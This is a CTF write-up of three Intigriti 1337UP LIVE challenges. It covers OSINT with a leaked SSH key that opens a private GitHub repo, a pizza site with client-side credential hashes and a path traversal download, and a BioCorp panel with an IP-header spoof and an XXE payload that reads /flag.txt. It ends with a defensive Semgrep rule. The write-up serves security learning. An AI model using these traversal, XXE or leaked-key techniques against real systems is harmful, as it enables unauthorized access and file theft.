A virtual CTF for the hacking community!
Intigriti proudly presents the second edition of the 1337UP LIVE CTF. This capture the flag event will have hackers fighting in teams of 6 in a Jeopardy-style event.
OSINT - Private Github Repository
Bob Robizillo created a public instructions for Tiffany, so she can start work on new secret project. can you access the secret repository?
This challenge marks my first First Blood 🩸! In CTF terminology, “First Blood” means being the first to solve a challenge, with no one else having solved it before you. I’ve been aiming to achieve this for a while, and I’m thrilled to have successfully solved it first!
We search for the name Bob Robizillo on google and Github. We get a github account: bob-193
The profile is quite empty, no commit history, no repositories visible.
We can check their gists where we find a file: email.md:
1
2
3
4
5
6
7
8
9
Dear Tiffany,
I hope this message finds you well. To streamline our collaboration on the 1337up repository, I kindly ask you to add the enclosed SSH key to your account. This step is crucial for enabling a seamless forking process and enhancing our project efficiency.
Thank you for your prompt attention to this matter.
Best regards, Bob Robizillo
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
We can decode the provided base64 data to a ssh key.
1
2
3
4
5
$ echo "<BASE64_DATA>" | base64 -d > id_rsa && chmod 600 id_rsa
$ ssh-add id_rsa
Identity added: id_rsa (1337up)
$ ssh -T git@github.com
Hi nitrofany! You've successfully authenticated, but GitHub does not provide shell access.
We can now clone the mentioned “1337up” repository.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ git clone git@github.com:nitrofany/1337up.git
$ ls
1337up id_rsa
$ cd 1337up
$ ls
config readme.md
$ cat readme.md
Hey, Tiffany! You will need to save this repo in your user space and implement changes we agreed earlier.
$ cd config
$ ls -all
total 1
drwxrwx--- 1 root vboxsf 0 Nov 15 13:36 .
drwxrwx--- 1 root vboxsf 0 Nov 15 13:36 ..
-rwxrwx--- 1 root vboxsf 44 Nov 15 13:36 .env
$ cat .env
flag=replace with production INTIGRITI{...}
These files don’t show anything useful but we can check the history.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ git log
commit 0f2ad0478e2acc0536be49ecefcb5e12cf797228 (HEAD -> main, origin/main, origin/HEAD)
Author: root <root@vmi1519856.contaboserver.net>
Date: Mon Aug 19 14:17:45 2024 +0200
update
commit 5c18888418fd3f2a9d76cfd278b69c1f7c41ba4f
Author: root <root@vmi1519856.contaboserver.net>
Date: Mon Aug 19 14:15:57 2024 +0200
update
commit d127325918e586ed6bfbd7fff94e049378d5694b
Author: root <root@vmi1519856.contaboserver.net>
Date: Mon Aug 19 14:14:02 2024 +0200
update
commit 5f73d374eace947a4fb12a8e81ceb5a8ca849807
Author: bob-193 <148455791+bob-193@users.noreply.github.com>
Date: Mon Aug 19 14:04:04 2024 +0300
init
Iterating of the commits, we find an interesting one that has an URL to a repository of the “nitrofany” user where we have the ssh key of.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ git show 0f2ad0478e2acc0536be49ecefcb5e12cf797228
commit 0f2ad0478e2acc0536be49ecefcb5e12cf797228 (HEAD -> main, origin/main, origin/HEAD)
Author: root <root@vmi1519856.contaboserver.net>
Date: Mon Aug 19 14:17:45 2024 +0200
update
diff --git a/.gitmodules b/.gitmodules
deleted file mode 100644
index 0f2b51c..0000000
--- a/.gitmodules
+++ /dev/null
@@ -1,3 +0,0 @@
-[submodule "config"]
- path = config
- url = https://github.com/nitrofany/01189998819991197253
diff --git a/config/.env b/config/.env
new file mode 100644
index 0000000..1758539
--- /dev/null
+++ b/config/.env
@@ -0,0 +1 @@
+flag=replace with production INTIGRITI{...}
We can clone the found repository and find the flag.
1
2
3
4
5
6
$ git clone git@github.com:nitrofany/01189998819991197253.git
$ cd 01189998819991197253
$ ls
flag.md
$ cat flag.md
# INTIGRITI{9e0121bb8bce15ead3d7f529a81b77b4}
Web - Pizza
Something weird going on at this pizza store!!
The website itself doesn’t provide much, but when we check the /robots.txt
, we found the following:
1
2
3
User-agent: *
Disallow: /secret_172346606e1d24062e891d537e917a90.html
Disallow: /assets/
The file disclosed a secret endpoint: /secret_172346606e1d24062e891d537e917a90.html
. Visiting this URL revealed a login page.
Examining the page’s source code revealed JavaScript references related to authentication.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<script src="/assets/js/auth.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
<script>
function hashPassword(password) {
return CryptoJS.SHA256(password).toString();
}
function validate() {
const username = document.getElementById("username").value;
const password = document.getElementById("password").value;
const credentials = getCredentials();
const passwordHash = hashPassword(password);
if (
username === credentials.username &&
passwordHash === credentials.passwordHash
) {
return true;
} else {
alert("Invalid credentials!");
return false;
}
}
</script>
Inside /assets/js/auth.js
, the credentials are defined as:
1
2
3
4
5
6
7
8
9
const validUsername = "agent_1337";
const validPasswordHash = "91a915b6bdcfb47045859288a9e2bd651af246f07a083f11958550056bed8eac";
function getCredentials() {
return {
username: validUsername,
passwordHash: validPasswordHash,
};
}
Using CrackStation, the hash 91a915b6bdcfb47045859288a9e2bd651af246f07a083f11958550056bed8eac
was cracked. The password is: intel420
After logging in with the credentials, we get access to the secret application:
1
2
Username: agent_1337
Password: intel420
You are allowed to download four images. However, when attempting to download a non-existent file, the server responds with “File not Found!”.
1
2
3
4
5
6
7
8
9
10
<form method="GET" action="">
<label for="image">Select Image to Download:</label>
<select name="download" id="image" onchange="updateImage()">
<option value="/assets/images/topsecret1.png">Image 1</option>
<option value="/assets/images/topsecret2.png">Image 2</option>
<option value="/assets/images/topsecret3.png">Image 3</option>
<option value="/assets/images/topsecret4.png">Image 4</option>
</select>
<button type="submit">Download</button>
</form>
By modifying the download parameter in the URL, we performed a path traversal attack to access the source code of the local PHP file:
1
https://pizzaparadise.ctf.intigriti.io/topsecret_a9aedc6c39f654e55275ad8e65e316b3.php?download=%2Fassets%2Fimages%2F..%2F..%2Ftopsecret_a9aedc6c39f654e55275ad8e65e316b3.php
The source code revealed the flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$flag = 'INTIGRITI{70p_53cr37_m15510n_c0mpl373}';
if (isset($_GET['download'])) {
$file = $_GET['download'];
if (strpos($file, '/assets/images/') === 0) {
$filePath = __DIR__ . '/' . $file;
if (file_exists($filePath)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($filePath) . '"');
header('Content-Length: ' . filesize($filePath));
readfile($filePath);
exit();
} else {
die('File not found!');
}
} else {
die('File path not allowed!');
}
}
INTIGRITI{70p_53cr37_m15510n_c0mpl373}
Web - BioCorp
BioCorp contacted us with some concerns about the security of their network. Specifically, they want to make sure they’ve decoupled any dangerous functionality from the public facing website. Could you give it a quick review?
Upon reviewing the provided source code, we can see in the header.php
file that if the request includes the header X-Biocorp-Vpn
with the value 80.187.61.102
, the page will reveal a link to a hidden control panel.
In panel.php
, the code checks if the request is a POST with XML content and processes the XML data. The code uses DOMDocument
to parse the XML and then extracts values for temperature, pressure, and control_rods from the XML tags. These values are then displayed on the page.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
$ip_address = $_SERVER['HTTP_X_BIOCORP_VPN'] ?? $_SERVER['REMOTE_ADDR'];
if ($ip_address !== '80.187.61.102') {
echo "<h1>Access Denied</h1>";
echo "<p>You do not have permission to access this page.</p>";
exit;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && strpos($_SERVER['CONTENT_TYPE'], 'application/xml') !== false) {
$xml_data = file_get_contents('php://input');
$doc = new DOMDocument();
if (!$doc->loadXML($xml_data, LIBXML_NOENT)) {
echo "<h1>Invalid XML</h1>";
exit;
}
} else {
$xml_data = file_get_contents('data/reactor_data.xml');
$doc = new DOMDocument();
$doc->loadXML($xml_data, LIBXML_NOENT);
}
$temperature = $doc->getElementsByTagName('temperature')->item(0)->nodeValue ?? 'Unknown';
$pressure = $doc->getElementsByTagName('pressure')->item(0)->nodeValue ?? 'Unknown';
$control_rods = $doc->getElementsByTagName('control_rods')->item(0)->nodeValue ?? 'Unknown';
include 'header.php';
?>
<div class="container center-content">
<h1>Welcome to the Control Panel</h1>
<p>Here you can view reactor values:</p>
<ul class="reactor-values">
<li><i class="fas fa-thermometer-half"></i> Temperature: <?php echo htmlspecialchars($temperature); ?> °C</li>
<li><i class="fas fa-tachometer-alt"></i> Pressure: <?php echo htmlspecialchars($pressure); ?> kPa</li>
<li><i class="fas fa-cogs"></i> Control Rods: <?php echo htmlspecialchars($control_rods); ?></li>
</ul>
<button id="refresh-btn">Refresh Reactor Values</button>
</div>
<script>
document.getElementById('refresh-btn').addEventListener('click', function () {
location.reload();
});
</script>
<?php include 'footer.php'; ?>
By sending a POST request to /panel.php
` with an XML payload containing an external entity (xxe), we can access files on the server. The XML payload would look like this:
1
2
3
4
5
6
7
8
9
10
POST /panel.php HTTP/2
Host: biocorp.ctf.intigriti.io
X-Biocorp-Vpn: 80.187.61.102
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<temperature>&xxe;</temperature>
This request will trigger the XXE vulnerability, and the content of flag.txt will be included in the response. The flag is revealed as follows:
1
2
3
<li>
<i class="fas fa-thermometer-half"></i> Temperature: INTIGRITI{c4r3ful_w17h_7h053_c0n7r0l5_0r_7h3r3_w1ll_b3_4_m3l7d0wn} °C</li>
<li>
Semgrep
We can write a semgrep rule to prevent XXE from happening in the future:
1
2
3
4
5
6
7
8
9
10
rules:
- id: prevent-xxe-xml-parsing
pattern: |
$doc->loadXML($xml_data, LIBXML_NOENT);
message: "Disabling entity loading (LIBXML_NOENT) allows XXE vulnerabilities."
severity: ERROR
languages: [php]
metadata:
category: security
type: xxe